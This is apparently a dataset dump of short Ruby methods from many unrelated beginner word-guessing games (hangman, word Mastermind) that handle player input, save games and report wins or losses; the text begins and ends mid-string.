@ans_word.include?(letter)\n\t\t\ti = @ans_word.index(letter)\n\t\t\t@guess.insert(i, letter)\n\t\t\t@guess.pop\n\t\t\tputs \"Good! You are getting closer: #{@guess*\"\"}\"\n\t\telse\n\t\t\tputs \"sorry, guess again\"\n\t\tend\n\tend", "def guess_final_word_or_letter\n\t\tputs \"\"\n\t\tputs display_word\n\t\tputs \"\"\n\t\tputs \"Choose to guess a word or letter.\"\n\t\tputs \"Enter 'l' to guess a letter or enter 'w' to guess the final word and solve the puzzle.\"\n\t\tfinal_word_or_letter_choice = gets.chomp.downcase\n\t\tif final_word_or_letter_choice == \"w\"\n\t\t\tfinal_guess\n\t\telsif final_word_or_letter_choice == 'l'\n\t\t\tevaluate_letter\n\t\telse\n\t\t\tputs \"That is not a valid input, please try again!\"\n\t\t\tputs \"\"\n\t\t\tsleep(1)\n\t\t\tguess_final_word_or_letter\n\t\tend\n\tend", "def get_guess\n\t\twhile true\n\t\t\tguess = gets.chomp.upcase\n\t\t\treturn :save if guess == \"SAVE\" || guess == \"'SAVE'\"\n\t\t\tif guess.between?('A', 'Z') && guess.length == 1\n\t\t\t\tif @hits.include?(guess) || @misses.include?(guess)\n\t\t\t\t\tprint \"You guessed '#{ guess }' already. Select another letter: \"\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\treturn guess\n\t\t\tend\n\t\t\tprint \"Enter one letter for guess (or 'save' to save game): \"\n\t\tend\n\tend", "def suggest_new_possibility?\n puts \"\"\n puts \"Would you like us to suggest a new possibility?\"\n puts \"\"\n puts \"1. Yes, give me more.\"\n puts \"2. Yes and I'd like to change my time and location first.\"\n puts \"3. No, I've had enough.\"\n puts \"\"\n self.suggest_another = gets.strip\n self.quit if self.suggest_another == \"quit\"\n if [\"1\", \"2\", \"3\"].all? { |i| self.suggest_another != i}\n self.what_was_that?\n self.suggest_new_possibility?\n end\n self.continue?\n end", "def get_guess\n\t\t# There are turns left...\n\t\tif @turn < 9\n\t\t\tshow_board\n\t\t\tputs \"Enter your letter guess...\"\n\t\t\tletter = gets.chomp.downcase\n\t\t\tvalidate_letter(letter)\n\t\t# No turns left, show losing message and delete game if it was previously saved\n\t\telse\n\t\t\tputs\n\t\t\tshow_board\n\t\t\tputs \"Dangit, you ran out of turns!\"\n\t\t\tputs \"The word was #{@word.join}...\"\n\t\t\tif @running_saved_game != nil\n\t\t\t\tover_write_data\n\t\t\tend\n\t\t\tgo_again\n\t\tend\n\tend", "def ask_letter\n letter = Display.ask\n if letter == 'save'\n save_game\n ask_letter\n end\n word_check = @word.map(&:clone)\n check_if_correct(word_check, letter)\n end", "def guess_letters\n while @guess_count > 0 && @word_guessed.include?('_')\n print 'Guess a letter to play or type save to save game: '\n letter_guessed = gets.chomp.downcase\n if letter_guessed == 'save'\n save_game\n return\n else\n check_letters letter_guessed\n end\n end\n puts \"The secret word was #{@secret_word}\"\n end", "def guess(letter)\r\n\t\t\r\n\t\tif(@word.include?(letter))\r\n\t\t @good_guesses.add(letter)\r\n\t end\r\n\t\r\n\tend", "def begin_guessing\r\n\t while @turn_count > 0 do\r\n\t puts \"\\nPlease enter 'guess' if you would like to guess the word. Otherwise, please enter a single letter guess.\"\r\n\t guess_input = gets.chomp\r\n\t\t\r\n\t\t# Handles the case if the user wants to guess the word\r\n\t\tif guess_input.downcase == \"guess\"\r\n\t\t puts \"\\nPlease enter your guess.\"\r\n\t\t full_guess = gets.chomp\r\n\t\t full_guess.downcase!\r\n\t\t if full_guess == @secret_word \r\n\t\t win_game \r\n\t\t else \r\n\t\t @turn_count -= 1\r\n\t\t puts \"\\nIncorrect guess.\"\r\n\t\t\tend_turn\r\n\t\t end\r\n\t\t \r\n\t\t# Handles the case if the user wants to guess a letter\r\n\t\telse\r\n\t guess_letter = guess_input[0].downcase\r\n\t game_board(guess_letter)\r\n\t\tend\r\n\t end\r\n\t lose_game if @turn_count == 0\r\n\tend", "def guess_entire_word\n \n Welcoming.guess_hidden_word # shows a message asking if they would like to guess the entire word\n \n # Gets the players input and formats it (local varariable)\n\n \n # If the player slelected y than they are then prompted to enter the entire word. Their guess is then formatted\n\n # Gets the players input and formats it (local varariable)\n player_answer = STDIN.gets\n player_answer.chop!\n player_answer = player_answer.upcase\n @master_word.chop!\t\t# removes extra character on the master word\n # After the player inputs their guess, the guess is run through the next if statement. \n # This if tests if the players answer is equal to the master_word\n # if the player is correct than they win the game. if not they get an incorrect message\n if player_answer == @master_word\n puts(\"#{@master_word} is correct! Press Enter to continue.\\n\")\n \n $player_won_lost = 1 # This variable will be used in the main program to determine what the player will do\n else\n puts(\"Sorry thats incorrect. Press Enter to continue.\\n\") \n $player_won_lost = 2 # this variable is used in the main program and will let the player know they lost\n end\n\t \n\tConsole_Screen.pause_program\n\tConsole_Screen.cls\n\t \n \n end", "def guess(letter)\r\n if word_has?(letter)\r\n \tput_letter_on_board(letter)\r\n else\r\n wrong_letter(letter) if !@guesses.include? letter\r\n end\r\n end", "def guessing_for_the_win(letter)\n\t\tif repeat_guess(letter)\n\t\telsif guess_correct(letter)\n\t\telse wrong_guess(letter)\n\t\tend \n\n\t\tif @secret_word == @display\n\t\t\tcongrats\n\t\telsif @number_of_guesses > 0 \n\n\t\t\tp \"Keep guessing\"\n\t\telse\n\t\t\tfailure\n\t\tend\n\tend", "def make_guess(guess)\n @previous_guesses << guess \n display_string = show_progress()\n if !goal_word.include?(guess) \n guess_counter()\n end \n if display_string == @goal_word\n @player_won = true \n end\n end", "def guess!(letter)\n self.word.include? letter\n self.letter = letter\n end", "def update_word(user_guess)\n\t\ti = 0\n\t\twhile i < @number_guess\n\t\t\tif @answer_word[i] == user_guess\n\t\t\t\t@word_hidden[i] = user_guess\n\t\t\tend\n\t\ti += 1\n\t\tend\n\t\t@word_hidden\n\tend", "def get_guess\n puts \"#{@name}'s turn!\"\n print \"Enter 1 to guess a letter, or 2 to guess a word: \"\n choice = gets.chomp.downcase\n if choice == \"1\"\n print \"Guess a letter: \"\n guess = gets.chomp.downcase\n if valid_letter_guess?(guess)\n return guess\n else\n self.get_guess\n end\n elsif choice == \"2\"\n print \"Guess a word: \"\n guess = gets.chomp.downcase\n if valid_word_guess?(guess)\n return guess\n else\n self.get_guess\n end\n end\n end", "def guess_word=(guess)\n \n # First is the case that the user guesses correctly\n if @word == guess\n @is_correct = true # flag to see if the user guessed correctly is set true\n @guess_count = 0 # Automatically set the guess count to zero\n \n # Now want to know if the guess word guess is included in the guess history\n elsif @guess_history.include?(guess)\n @is_correct = false # flag set to false but no loss in attempt\n\n # Finally if the guess is not correct\n else\n @guess_history << guess # Store the guess in the guess history\n @is_correct = false # flag is still showing the guess incorrect\n @guess_count -= 1 # loose an attept at guessing\n end\n end", "def game_play\n self.new_round # Start new round\n loop do\n puts \"Your Guess:\"\n @input = gets.chomp # Gets user input by making a prompt and capturing the input, chomp method removes the new line which would otherwise be stored in the input string\n if @input != \"/\"\n if @@word.legal?(@input)\n if self.check_guess\n puts \"Correct! You got the answer in #{@guess_count} guesses!\" # Use string interpolation instead of concatenating to include guess count\n\n self.new_round\n puts @current_word\n end\n puts \"You have #{MAX_GUESS - @guess_count} guesses remaining.\\n?????\" # Calculations can be made in string interpolation too\n else\n puts \"That guess doesn't count! Your guess can only be 5 characters in length, contain no duplicate letters and only contain letters.\" # Guess isn't a legal word\n end\n self.check_lost # Check if player has exhausted amount of guesses\n else\n exit\n end\n\t\tend\n\tend", "def guess_letter\n\t\tprint \"Your guess: \"\n\t\tguess = gets.chomp.downcase\n\t\treturn guess if guess == \"save\"\n\t\tif (guess.between?('a','z') && !(@guessed_letters.include? guess)\\\n\t\t\t&& guess.length == 1)\n\t\t\tprocess_guess(guess)\n\t\t\t@guessed_letters << guess\n\t\t\t@turns += 1\n\t\telse\n\t\t\tif guess.between?('a','z')\n\t\t\t\tputs \"\\nYour guess must be ONE letter\" unless guess.length == 1\n\t\t\t\tputs \"\\nYou've already guessed that!\" if @guessed_letters.include? guess\n\t\t\telse\n\t\t\t\tputs \"\\nYour guess must be a letter!\" unless guess.between?('a','z')\n\t\t\tend\n\t\t\tputs \"Try again!\\n\\n\"\n\t\t\tguess = guess_letter\n\t\tend\n\t\tguess\n\tend", "def playAgain()\n puts \"Would you like to play again? Yes (Y) or No (N)\"\n playAgain = $stdin.gets.chomp\n if playAgain.downcase == \"y\" || playAgain.downcase == \"yes\"\n playHangmanAgain = HangMan.new\n elsif playAgain.downcase != \"n\" && playAgain.downcase != \"no\" && playAgain.downcase != \"y\" && playAgain.downcase != \"yes\"\n puts \"That's not an option. Please enter Yes (Y) or No (N)\"\n playAgain()\n else\n puts \"Goodbye !\"\n @numOfGuesses = 11\n @foundWord = true\n end\n \n end", "def win_lose\n if @word_blank == @split_word.join\n puts \"\\nGood job #{@player}, you guessed #{@computer}\\'s word! Would you like to play again?(Yes/No)\\n\"\n rematch = gets.chomp.downcase\n \n elsif @mistakes == 7\n puts \"\\nSorry, #{@player} #{@computer}\\'s word was #{@chosen_word}. Would you like to play again?(Yes/No)\"\n rematch = gets.chomp.downcase\n end\n \n if rematch == \"yes\"\n \n new_game = Hangman.new(\"#{@player}\")\n new_game.chosen_word\n new_game.run\n \n elsif rematch == 'no'\n puts \"\\nThank you for playing!\"\n exit\n end\nend", "def guess_word(word)\n won = won?(word)\n @tries_left -= 1 unless won\n won\n end", "def answer_update \r\n\t\t@guess_word.each_index do |i|\r\n\t\t\t@guess_word[i] ||= \"_\"\r\n\t\tend \r\n\t\tp @guess_word\r\n\tend", "def guess(board)\n print \"Make a guess: \"\n gets.chomp\n end", "def input\n\t\tprint_word\n\t\tprint \"\\n>> \"\n\t\tinput = gets.chomp\n\t\tif @player.word_to_guess.include? input\n\t\t\t@player.correct_letters << input\n\t\telsif input == \"save game\"\n\t\t\toutput = File.new('save.yml', 'w')\n\t\t\toutput.puts YAML.dump(@player)\n\t\t\toutput.close\n\t\t\tputs \">game saved<\"\n\t\t\tgame_loop\n\t\telsif input == \"exit\"\n\t\t\texit\n\t\telse\n\t\t\t@player.turn += 1\n\t\tend\n\tend", "def gets_user_guess\n @guess = gets.strip.downcase\n generate_new_card\n end", "def get_guess\n @guess = \"\"\n until @guess.match(/^[a-z]$/) && !@already_guessed.include?(@guess)\n print \"Please enter a letter. \"\n @guess = gets.chomp.downcase\n if @guess == 'save'\n save_game\n elsif @already_guessed.include?(@guess)\n puts \"You have already guessed that letter. Please try again.\"\n elsif !@guess.match(/^[a-z]$/)\n puts \"That is not a valid guess. Please enter a single letter.\"\n end\n end\n @guess\n end", "def guess_letter\n guess = \"\"\n if @letters_guessed.size > 0\n puts \"\\nSo far, you have already guessed the following letters:\"\n puts \"(\" + @letters_guessed.join(\", \") + \")\"\n end\n begin\n puts \"\\n\\nPlease enter a letter for your guess: \"\n puts \"(or type the entire keyword: 'SAVE' or 'EXIT')\"\n guess = gets.chomp.strip.upcase\n if guess == \"SAVE\"\n save_game\n elsif guess == \"EXIT\"\n puts \"\\nExiting the current round...\"\n puts \"\\n=================================================\"\n else\n error_msg1 = \"Selected letter was not of the correct format.\"\n raise ArgumentError.new(error_msg1) unless guess =~ /^[A-Z]$/\n error_msg2 = \"Selected letter has already been guessed.\"\n raise ArgumentError.new(error_msg2) if @letters_guessed.include?(guess)\n end\n rescue ArgumentError=>e\n puts \"Error: #{e.message}\"\n retry\n end\n return guess\n end", "def guess(input,dead_man)\n input.upcase!\n if input.length == 1\n letter_guess(input,dead_man) \n else\n whole_word_guess(input,dead_man)\n end\n end", "def ask_play \n\tputs \" - Bon, tu joues quoi #{@name} ? je n'est pas que ca a faire !!! (Donne les coordonnees, ex : a1, b3, c2, etc.) \"\n\t@answer_play = gets.chomp \t\n end", "def guess\n\t\tputs \"Pick a letter. (enter 'save' at anytime to save the game)\"\n\t\tinput = gets.chomp.downcase\n\t\treturn input if input.size == 1\n\t\tif input == 'save'\n\t\t\tsave_game\n\t\t\treturn menu\n\t\tend\n\t\tputs \"That doesn't make sense. Try again.\"\n\t\treturn guess\n\tend", "def check_guess(input)\n @guessed_letters.push(input)\n if @secret_word.match?(input)\n @secret_word.split(//).each_with_index { |char, index| @guessed_word[index] = char if char == input }\n else\n puts 'Incorrect'\n @guesses_left -= 1\n @wrong_letters.push(input)\n end\n end", "def check_guess(guess)\n @current_guess = guess.downcase\n if @current_guess == @secret_word\n player_won?\n elsif @current_guess.length > 1 || @current_guess.nil?\n @feedback = \"Invalid Guess!\"\n else\n @feedback = \"\"\n if @secret_word.include? @current_guess\n show_letter\n else\n @turns -= 1\n end\n @guesses << @current_guess\n end\n end", "def get_input\n input = ''\n loop do\n puts \"What is your guess?\"\n input = gets.chomp\n break if valid_input?(input)\n end\n input\n end", "def check_guess\n if current_guess == secret_word\n player_won?\n else\n if secret_word.include? current_guess\n show_letter\n puts \"This word includes the guessed letter\\n\\n\"\n elsif current_guess == \"save\"\n create_save\n puts \"Game saved! Exiting game!\"\n exit\n else\n show_letter\n puts \"This word does not include the guessed letter\\n\\n\"\n end\n end\n end", "def guess(letter)\n # raise an execption\n # raise will 'break' the method if valid_guess? == false\n raise InvalidGuessException.new(\"Invalid guess!\") unless valid_guess?(letter)\n if word_has?(letter)\n \tput_letter_on_board(letter)\n else\n wrong_letter(letter) if !@guesses.include? letter\n end\n end", "def get_guess\n print \"\\nMake a guess: \"\n guess = gets.chomp.upcase\n\n #validate that guess has not already been guessed and is not blank\n while @bad_guesses.include?(guess) || @user_progress.include?(guess) || guess == \"\"\n puts \"You already guessed that!\" unless guess == \"\"\n print \"Guess again: \"\n guess = gets.chomp.upcase\n end\n return guess\n end", "def prompt_for_guess(shortWord, word, consonants, vowel)\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n consonants.push(vowel) #To make things easy, add the vowel to the\r\n #list of consonants\r\n\r\n wordArray = word.split(\" \") #Split the secret word into an array\r\n\r\n i = 0 #Initialize index variable to zero\r\n\r\n #Loop once for each letter in the word (stored in an array)\r\n wordArray.each do |letter|\r\n\r\n match = false #Initialize the variable with a starting value of false\r\n\r\n #Loop once for each consonant stored in the consonants array\r\n consonants.each do |character|\r\n\r\n #Compare the current character from the consonants array to the\r\n #current letter in the wordArray array\r\n if character == letter then\r\n match = true #Set variable value to indicate a match\r\n break #Terminate loop execution when a match occurs\r\n end\r\n\r\n end\r\n\r\n #If there is no matching character in the consonants array for the\r\n #current letter in the wordArray array, replace that letter in the\r\n #wordArray with an underscore character\r\n if match == false then\r\n wordArray[i] = \"_\" #Replace the current character with an\r\n end #underscore\r\n\r\n i = i + 1 #Increment the variable's value by 1\r\n\r\n end\r\n\r\n #Once the contents of the array have been formatted with underscores,\r\n #convert the contents of the array back into a word\r\n word = wordArray.join(\" \")\r\n\r\n #Allow the player up to three guesses\r\n 3.times do |i| #i equals 0 on the first iteration of the loop\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Prompt the player to try to guess the secret word\r\n puts \"I am thinking of a word.\\n\\n\\n\\n\\n\\n\"\r\n print \"Here is your clue: \" + word + \"\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n print \"What do you think this word is? \"\r\n reply = STDIN.gets #Collect the player's reply\r\n reply.chop! #Remove the end of line marker\r\n reply = reply.upcase #Convert the reply to all uppercase\r\n\r\n #Analyze the players guess\r\n if reply == shortWord then #The player's guessed the secret word\r\n\r\n Console_Screen.cls #Clear the display area\r\n print \"Correct! Press Enter to continue.\"\r\n Console_Screen.pause #Pause the game\r\n break #Terminate the execution of the loop\r\n\r\n else #The player did not guess the secret word\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Display a message based on how many turns remain\r\n if i == 1 then\r\n puts \"You entered: \" + reply.upcase #display user answer\r\n print \"Wrong! You have one guess left. Press Enter to \" +\r\n \"try again.\"\r\n elsif i == 2\r\n puts \"You entered: \" + reply.upcase #display user answer\r\n shortWord = shortWord.downcase #converts word to lowercase\r\n print \"Sorry, you lose.\\n\\n\"\r\n print \"The word was \" + shortWord.sub(/^./) {$&.upcase} +\r\n #regex reads as follows: substitute \"beginning\" for \"anything\"\r\n #'contains complete matched text of uppercase= $&.upcase'\r\n #method .capitalize would accomplish this as well\r\n \". Press Enter to continue.\"\r\n else\r\n puts \"You entered: \" + reply.upcase #display user answer\r\n print \"Wrong! Press Enter to try again.\"\r\n end\r\n\r\n Console_Screen.pause #Pause the game\r\n\r\n end\r\n\r\n end\r\n\r\n end", "def guess!(letter)\n end", "def make_guess(word)\n guess = word.upcase\n \n # If the game is over, let the player know.\n if @guesses_left == 0\n p \"This game is over!\"\n\n # Congratulatory message if they got it.\n elsif guess == @secret_word\n @number_of_guesses += 1\n p \"Congratulations! You got the word in #{@number_of_guesses} guesses!\"\n \n # If they already guessed the word:\n elsif @guessed_words.index(guess) != nil\n p \"You already guessed that word!\"\n p \"The secret word is: \" + feedback(guess)\n return \"You already guessed that word!\"\n\n # Count the guess and provide feedback on it.\n else\n\n @guessed_words.push(guess)\n @number_of_guesses += 1\n @guesses_left -= 1\n \n p \"Correct letters:\"\n p feedback(guess)\n\n # If that was the last guess, let the player know.\n if @guesses_left == 0\n p \"That was your last guess! Game over.\"\n\n else\n get_guesses_left\n \n end # control flow/guessed_word\n end # end control flow/make_guess\n end", "def guess(letters)\n raise ArgumentError if letters == \"\"\n raise ArgumentError if letters !~ %r{\\w}\n letters.downcase!\n if @word.include?(letters) \n !@guesses.include?(letters) ? @guesses << letters : false\n\n else\n @wrong_guesses.include?(letters) ? false : wrong_guesses << letters \n end\n end", "def make_guess(word)\n raise_if_complete\n\n correct = word.downcase == password.word\n guesses.create!(word: word, correct: correct)\n self.game_state = 'lost' if lives_left.zero?\n self.game_state = 'won' if correct\n save!\n correct\n end", "def guess(letter)\n raise InvalidGuessException.new(\"Invalid Guess!\") unless valid_guess?(letter)\n \n if word_has?(letter)\n \tput_letter_on_board(letter)\n else\n wrong_letter(letter) if !@guesses.include? letter\n end\n end", "def congrats\n\t\tp \"Congrats on Guessing the Word\"\n\tend", "def expect_guess\n print \"Guess ##{turn}. What's your code? \"\n input = gets.chomp\n throw :quit if input == \"q\"\n \n if valid_input? input\n self.last_guess = Code.parse(input)\n puts \"Your guess was #{last_guess}.\"\n else\n puts \"Please enter 4 valid colors.\"\n expect_guess\n end\n end", "def check_guess\n @guess_count += 1 # Increment guess count\n @guess_feedback = \"\"\n return true if @input == @current_word # Return true value if input is same as chosen word - correctly guessed word\n i = 0\n @input.split('').each do |letter| # Split user input and check if each letter is in exact position as chosen word, or if it is somewhere or not in the word at all\n # Use << to append to string as this is faster and doesn't create new string objects, as opposed to concatenation using a +\n # Below line uses nested ternary operators, where the condition is first evaluated and then if true, the first statement is executed, if false, the second statement is executed\n # This allows the code to be more readable and shorter\n @current_word.index(letter) == i ? (@guess_feedback << \"exact \") : (@current_word.index(letter).nil? ? (@guess_feedback << \"miss \") : (@guess_feedback << \"near \"))\n i += 1\n end\n puts @guess_feedback\n end", "def respond_to_guess(letter)\n letter = letter.clone.downcase\n\n if @incorrect_letters.include?(letter) || @progress.include?(letter) || @progress.include?(letter.upcase)\n puts \"You already guessed that letter!\"\n puts \"\"\n elsif @word.include?(letter) || @word.include?(letter.upcase)\n update_progress(letter)\n unless @progress.include?(\"_\")\n @round_finished = true\n @guessed = true\n end\n else\n @incorrect_letters << letter\n @round_finished = true if @incorrect_letters.size == 6\n end\n print_hangman\n end", "def game_loop\n while self.game_word.guessed_all_correct? == false\n puts \"P2, guess a letter\"\n letter = gets.chomp\n game_word.guess!(letter)\n puts game_word.output_word\n end\nend", "def main\n system('cls')\n puts '***************************************************************'\n puts '* Welcome to Word Mastermind *'\n puts '***************************************************************'\n puts ''\n puts ' Welcome to Mastermind!'\n puts ''\n puts 'The game will randomly choose a five letter word, its your job'\n puts 'to guess the word'\n puts ''\n puts 'Each word will only have 1 occurance of any given letter and'\n puts 'after each round the game will let you know if the letters in'\n puts 'your guess are:'\n puts '- In the game word and in the right place'\n puts '- In the game word but in the wrong place'\n puts '- Not in the Game word'\n puts ''\n puts ''\n puts 'Good Luck!'\n puts ''\n puts ' Press G to start the game!'\n puts ' Press Q to quit!'\n puts ''\n print 'Option:'\n end", "def good_guess?\n current_guess == \"save\" || current_guess == secret_word || current_guess.length == 1\n end", "def guess_without_choosing_anyone\n click_button(\"Guess\")\n end", "def guess\n puts \"Enter a letter\"\n puts\n letter = gets.chomp\n if @word_array.include?(letter)\n @word_array.each_with_index do |char, index|\n if char == letter\n @puzzle_array[index] = letter\n end\n end\n puts \"Correct!\"\n else\n puts \"Try again!\"\n end\n @counter -= 1\n end", "def ask_input\n\t\tputs \"where do you want to go ? N, S, W, E\"\n\t\tuser_input = gets.chomp\n\tend", "def read_guess\n print \"Pretty please enter your guess: \"\n gets.to_i\nend", "def check(guess)\n correct = 0\n\n if @guessed.include?(guess)\n @message = \"Choose another letter!\"\n else\n @message = \"\"\n @guessed << guess\n @to_guess.each_with_index do |char, index|\n if guess == char\n @guessing[index] = guess\n correct += 1\n end\n end\n @lives -= 1 if correct == 0\n end\n\n if @guessing.join == @to_guess.join\n @message = \"#{@guessing.join} was the word. You won!!\"\n @status = \"disabled\"\n end\n if @lives == 0\n @message = \"No lives left! You lost! The word was: \\\"#{@to_guess.join}\\\"\"\n @status = \"disabled\"\n end\n\n end", "def check_phrase guess\r\n\t\t\t\t\t\t\t\tif guess == @secretword\r\n\t\t\t\t\t\t\t\t\tincement_score\r\n\t\t\t\t\t\t\t\t\t@win = true\r\n\t\t\t\t\t\t\t\t\treturn true\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\treturn false\r\n\t\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\tend", "def play_game\n turn = 1\n while turn < @turns\n puts \"Please guess a letter in the word.\"\n puts \"\"\n user_choice = gets.chomp.to_s\n until @alphabet.include? user_choice and user_choice.length == 1 do\n puts \"Please choose a single letter in the alphabet to guess the content of the word.\"\n user_choice = gets.chomp.to_s\n end\n puts \"Evaluating user choice\"\n is_secret_word_letter(user_choice)\n self.show_game_progress\n turn +=1\n puts \"Turn #{turn} complete!\"\n self.game_over_check\n end\n end", "def game_loop\n\n while @mysteryWord.guessed_all_correct? == false && @mysteryWord.health > 0 do\n p \"The word is #{@mysteryWord.guessedWord}\"\n p \"Please enter a letter\"\n @mysteryWord.guess?(gets.chomp)\n end\n end", "def ask_for_ingredient\n puts \"What ingredient do you want to search for?\"\n print \"> \"\n gets.chomp\n end", "def prompt_user(word_game)\n\n input = nil\n while input == nil\n puts \"\\nPlease guess a letter > \"\n input = gets.chomp.upcase\n begin\n input = Integer(input)\n rescue ArgumentError\n end\n if input.is_a? Integer\n puts \"That's not a letter. Try again.\"\n input = nil\n end\n if input != nil && input.length > 1\n puts \"Please try just one letter at a time.\"\n input = nil\n end\n if word_game.wrong_guesses.include?(input)\n print \"\\nThat letter was already guessed: \"\n input = nil\n end\n end\n return input\nend", "def user_input\n\t\tputs \"Please pick a letter to guess the word.\"\n\t\t@letter = gets.chomp.downcase\n\t\t@letters_array = [*?a..?z] #creates an array of the alphabet from a to z lowercase\n\t\tuser_input_check\n\tend", "def check_guess(word, guess)\n if word.include? guess\n @correct_guess = true\n\n elsif !word.include? guess\n @correct_guess = false\n end\nend", "def correct_guess?(letter)\n if @word_selected.include?(letter)\n if @correct_guesses.empty?\n @correct_guesses << letter\n elsif @correct_guesses.include?(letter)\n puts 'Letter already guessed! try another one!'\n else\n @correct_guesses << letter\n end\n return true\n end\n false\n end", "def prompt_for_guess(shortWord, word, consonants, vowel)\n\n\tConsole_Screen.cls #clear the display area\n\n\tconsonants.push(vowel) #to make things easy, add the vowel to the list \n\t #of consonanats\n wordArray = word.split(\" \") #split the secret word into an array\n\n i = 0 #initialize index variable to zero\n\n #loop once for each letter in the word (stored in an array)\n wordArray.each do |letter|\n\n \tmatch = false #initial the variable with a string value of false\n\n \t#loop once for each consonant stored in the consonants array\n \tconsonants.each do |character|\n\n \t\t#compare the current character from the consonants\n \t\t#array to the current letter in the wordArray array\n \t\tif character == letter then\n \t\t\tmatch = true #set variable value to indicate a match\n \t\t\tbreak #terminate loop execution whe a match occurs\n \t\tend\n\n \tend\n\n \t#if there is no matching character in the consonants\n \t#array for the current letter in the wordArray\n \t#array, replace that letter in the wordArray with \n \t#an underscore chracter\n \tif match == false then\n \t\twordArray[i] = \"_\" #replace the current character withunderscore\n \tend\n\n \ti = i + 1 #increment the variable's value by 1\n\n end\n\n #once the contents of the array hve been formatted with underscores\n #convert the contents of the array back into a word\n word = wordArray.join(\" \")\n\n #allow the player up to three guesses\n 3.times do |i| #i equals 0 on the first iteration of the loop\n\n \tConsole_Screen.cls #clear the display area\n\n \t#prompt the player to try to guess the secret word\n \tputs \"I am thinking of a word.\\n\\n\\n\\n\\n\"\n \tprint \"Here is your clue: \" + word + \"\\n\\n\\n\\n\\n\\n\\n\\n\"\n \tprint \"What do you think this word is? \"\n \treply = STDIN.gets #collect the player's reply\n \treply.chop! #remove the end of line marker\n \treply = reply.upcase #convert the reply to all uppercase\n\n \t#analyze the player's guess\n \tif reply == shortWord then #the player guessed the secret word\n\n \t\tConsole_Screen.cls print \"Correct! Press Enter to continue\"\n \t\tConsole_Screen.pause #pause the game\n \t\tbreak #terminate the execution of the loop\n\n \telse #the player did not guess the secret word\n\n \t\tConsole_Screen.cls #clear the display area\n\n \t\t#display a message based on how many turns remain\n \t\tif i == 1 then\n \t\t\tprint \"Wrong! You have one guess left. Press Enter to \" +\n \t\t\t\"try again.\"\n\n \t\telsif i == 2 \n \t\tprint \"Sorry, you lose.\\n\\n\"\n \t\tprint \"The word was \" + shortWord.capitalize + \" Press Enter to continue.\"\n \telse\n \t\tprint \"Wrong! Press Enter to try again.\"\n \tend\n\n \tConsole_Screen.pause #pause the game\n end\nend\nend", "def check_guess\n\t\t@word.include?(@guess)\n\n\tend", "def whole_word_guess(input,dead_man)\n guessed_word_array = input.split(//)\n if guessed_word_array == @correct_word_array\n win\n else\n puts \"The word you have guessed is incorrect!\"\n dead_man.wrong_guesses += 1\n display(dead_man) \n end\n end", "def running(turn, time_to_guess, last_guess, last_word, last_feedback)\n system('cls')\n puts '***************************************************************'\n puts '* Word Mastermind *'\n puts '***************************************************************'\n puts '* Turn Number: ' + turn.to_s + ' Turns To Guess: '+time_to_guess.to_s+' *'\n puts '***************************************************************'\n puts ''\n puts ' REMEMBER: Your Word can only have 5 letters, and can only'\n puts ' contain one of each character!'\n puts ''\n puts '|X| = Not in word |O| = In the word and the correct place'\n puts '|-| = In the word but in the incorrect place '\n puts ''\n puts ' Your Last Guess Was: ' + last_word\n puts ''\n puts ' ' + \"#{last_guess}\"\n puts ' ' + \"#{last_feedback}\"\n puts ''\n puts ''\n puts 'What will you guess this turn?'\n puts ''\n print 'Guess: '\n end", "def try_again\n puts \"Would you like to try again? \"\n response = gets\n response = response.chomp.upcase\n \n if @yes_options.include?(response)\n find_name\n elsif @no_options.include?(response)\n puts \"Thank you for your time.\"\n else\n puts \"I did not understand your response.\"\n try_again\n end \n end", "def get_input\n\t\tgood_input = false\n\t\tuntil good_input\n\t\t\tputs \"\"\n\t\t\tputs \"Enter a letter or enter 'Menu' to open the Main Menu\"\n\t\t\tinput = gets.chomp\n\t\t\tif @incorrect_array.include?(input) or @blank_word_array.include?(input)\n\t\t\t\tputs \"You already guessed '#{input}'\"\n\t\t\telsif input.downcase == \"menu\"\n\t\t\t\t\tclear_screen\n\t\t\t\t\tmenu\n\t\t\telsif input.length > 1\n\t\t\t\tputs \"You can't guess more than one letter at a time\"\n\t\t\telsif input == ''\n\t\t\t\t\t\t\t\n\t\t\telse\n\t\t\t\tgood_input = true\n\t\t\tend\n\t\tend\n\t\tinput\n\tend", "def new_guess(tries)\n\tputs \"You have #{3-tries} more tries:\"\n\tgets\nend", "def respond_to_guess(guess)\n\t\t@guessed_letters << guess\n\t\t@secret_word.split(\"\").include?(guess)\t\n\tend", "def try_guess(guess)\n if !is_repeated_guess(guess)\n deduct_available_guesses\n add_to_previous_guesses(guess)\n end\n\n if guess.length > 1\n @secret_word == guess ? @is_over_won = true : false\n elsif guess.length > 0\n if @secret_word.include? guess\n update_current_state(guess)\n !is_word_complete() ? true : @is_over_won = true\n else\n false\n end\n else\n false\n end\n end", "def ask\n gets.strip\n end", "def guess?(letter)\n correct = false\n @@secret.length.times do |i|\n if (@@secret[i] == letter && @@progress[i] == '_')\n @@progress[i] = letter\n correct = true\n end\n end\n @@incorrect << letter if !correct\n @@guesses += 1\n puts(\"secret: #{@@secret}\")\n correct\n end", "def guess? (letter)\n \t\tif word.include?(letter)==true\n \t\tvalid_guess(letter)\n \telse\n \t\tinvalid_guess(letter)\n \tend\n end", "def play_new_game\n #get new code word\n @word_master.choose_code_word\n @code_word = @word_master.code_word\n @good_guesses = Array.new(@code_word.length, '_ ')\n #tells you rules\n puts \"Try to figure out the word. If you guess 6 wrong letters, you lose!\"\n #starts playing\n game_loop\n end", "def requestNewGame\n print \"Do you want to play again? (y/n): \"\n wantsNewGame = nil\n while wantsNewGame.nil?\n input = gets.chomp.downcase\n case input\n when \"y\", \"yes\"\n wantsNewGame = true\n when \"n\", \"no\"\n wantsNewGame = false\n puts \"Thanks for playing!\"\n else\n puts \"Please enter 'yes' or 'no' or their abbreviations (y,n)\"\n end\n end\n if wantsNewGame\n newGame()\n end\n end", "def winOrLose()\n if ((@lettersDisplayArr.to_s.downcase.eql? @randomWord) or (@lettersDisplayArr.include?(\" _ \") == false))\n @foundWord = true \n \n end\n \n if @foundWord == true\n puts \"YAY! You guessed the word!\"\n playAgain()\n end\n\n if ((@numOfGuesses > 9) && (@foundWord == false))\n puts \"Sorry, you didn't find the word.\"\n puts \"The word was 